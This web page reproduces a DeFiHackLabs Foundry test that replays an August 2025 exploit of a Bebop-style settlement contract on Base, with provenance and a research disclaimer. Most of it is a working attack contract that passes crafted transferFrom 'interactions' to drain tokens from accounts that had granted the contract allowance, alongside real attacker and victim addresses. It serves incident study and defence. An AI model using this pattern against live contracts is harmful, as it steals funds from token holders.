Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/BaseBebopSettlement_exp.sol

Public reproduction file for dataset entry BaseBebopSettlement.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/BaseBebopSettlement_exp.sol127 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 3,875.46 USD
8// Attacker : 0x473993E254be8D46eD85b149335b2Be02b2891f1
9// Attack Contract : 0xbf8e523170875107fD3c36C6Cf3e350DC52a5021
10// Vulnerable Contract : 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6
11// Attack Tx : https://basescan.org/tx/0x9099383a0731fcd40550f6443c935f579085251d34b7c7285603f68b7c12f678
12//
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1660
18//
19// Attack summary: The attacker deployed initcode that created a helper contract and called a Bebop-style settlement
20// function. The settlement call carried two explicit transferFrom interactions, moving USDC from one approved account
21// and a wrapped asset from the reported victim to the attacker.
22// Root cause: the unverified settlement contract accepted caller-controlled interaction calldata and executed token
23// transferFrom calls against accounts that had granted it allowance.
25address constant ATTACKER = 0x473993E254be8D46eD85b149335b2Be02b2891f1;
26address constant ATTACK_CONTRACT = 0xbf8e523170875107fD3c36C6Cf3e350DC52a5021;
27address constant VICTIM = 0x9eaC82DF212c6c85a125F6c7db3285f4Db93dD7b;
28address constant SETTLEMENT = 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6;
29address constant USDC_HOLDER = 0x78300ee5b60f6Fe87D64c02F393dEe502560EE87;
30address constant USDC_TOKEN = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
31address constant VICTIM_TOKEN = 0x2615a94df961278DcbC41Fb0a54fEc5f10a693aE;
33uint256 constant USDC_AMOUNT = 1_000_000_000;
34uint256 constant VICTIM_TOKEN_AMOUNT = 901_467_122_762_682_970_176;
36interface IBebopSettlement {
37 struct Order {
38 address maker;
39 address receiver;
40 uint256 expiry;
41 uint256 nonce;
42 uint256 flags;
43 address executor;
44 uint256 partnerId;
45 address[] makerTokens;
46 address[] takerTokens;
47 uint256[] makerAmounts;
48 uint256[] takerAmounts;
49 bool usePermit2;
50 }
52 struct Interaction {
53 bool result;
54 address target;
55 uint256 value;
56 bytes data;
57 }
59 function settle(
60 Order calldata order,
61 bytes calldata signature,
62 Interaction[] calldata interactions,
63 bytes calldata data,
64 address receiver
65 ) external payable;
68contract ContractTest is BaseTestWithBalanceLog {
69 BaseBebopSettlementAttack private exploit;
71 function setUp() public {
72 uint256 forkBlock = 34_100_255;
73 vm.createSelectFork("base", forkBlock);
74 vm.label(ATTACKER, "Attacker");
75 vm.label(ATTACK_CONTRACT, "Attack Contract");
76 vm.label(VICTIM, "Victim");
77 vm.label(SETTLEMENT, "Settlement");
78 vm.label(USDC_HOLDER, "USDC Holder");
79 vm.label(USDC_TOKEN, "USDC");
80 vm.label(VICTIM_TOKEN, "Victim Token");
82 exploit = new BaseBebopSettlementAttack();
83 multiAssetLog = true;
84 attacker = address(exploit);
85 _addFundingToken(USDC_TOKEN);
86 _addFundingToken(VICTIM_TOKEN);
87 }
89 function testExploit() public balanceLog {
90 uint256 usdcHolderBefore = IERC20(USDC_TOKEN).balanceOf(USDC_HOLDER);
91 uint256 victimTokenBefore = IERC20(VICTIM_TOKEN).balanceOf(VICTIM);
93 exploit.run();
95 assertEq(IERC20(USDC_TOKEN).balanceOf(address(exploit)), USDC_AMOUNT, "USDC profit");
96 assertEq(IERC20(VICTIM_TOKEN).balanceOf(address(exploit)), VICTIM_TOKEN_AMOUNT, "victim-token profit");
97 assertEq(usdcHolderBefore - IERC20(USDC_TOKEN).balanceOf(USDC_HOLDER), USDC_AMOUNT, "USDC holder loss");
98 assertEq(victimTokenBefore - IERC20(VICTIM_TOKEN).balanceOf(VICTIM), VICTIM_TOKEN_AMOUNT, "victim token loss");
99 }
102contract BaseBebopSettlementAttack {
103 function run() external {
104 IBebopSettlement.Order memory order;
105 order.maker = address(this);
106 order.receiver = address(this);
107 order.expiry = block.timestamp + 60;
108 order.flags = 1;
109 order.executor = address(this);
111 IBebopSettlement.Interaction[] memory interactions = new IBebopSettlement.Interaction[](2);
112 interactions[0] = IBebopSettlement.Interaction({
113 result: false,
114 target: USDC_TOKEN,
115 value: 0,
116 data: abi.encodeWithSelector(IERC20.transferFrom.selector, USDC_HOLDER, address(this), USDC_AMOUNT)
117 });
118 interactions[1] = IBebopSettlement.Interaction({
119 result: false,
120 target: VICTIM_TOKEN,
121 value: 0,
122 data: abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM, address(this), VICTIM_TOKEN_AMOUNT)
123 });
125 IBebopSettlement(SETTLEMENT).settle(order, "", interactions, "", address(this));
126 }

Analysis

Dataset entry

Public Foundry test for “BaseBebopSettlement” (2025-08-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x473993e254be8d46ed85b149335b2be02b2891f1

  • Attack Contract

    0xbf8e523170875107fd3c36c6cf3e350dc52a5021

  • Vulnerable Contract

    0xbeb0b0623f66be8ce162ebdfa2ec543a522f4ea6

  • Attack Tx

    0x9099383a0731fcd40550f6443c935f579085251d34b7c7285603f68b7c12f678

File record

Name
BaseBebopSettlement
Path
src/test/2025-08/BaseBebopSettlement_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e508ea767837fd9d2948a57d97fa8b632f6fac70
Language
Solidity
Size
128 lines
Date
2025-08-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/BaseBebopSettlement_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e508ea767837fd9d2948a57d97fa8b632f6fac70, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.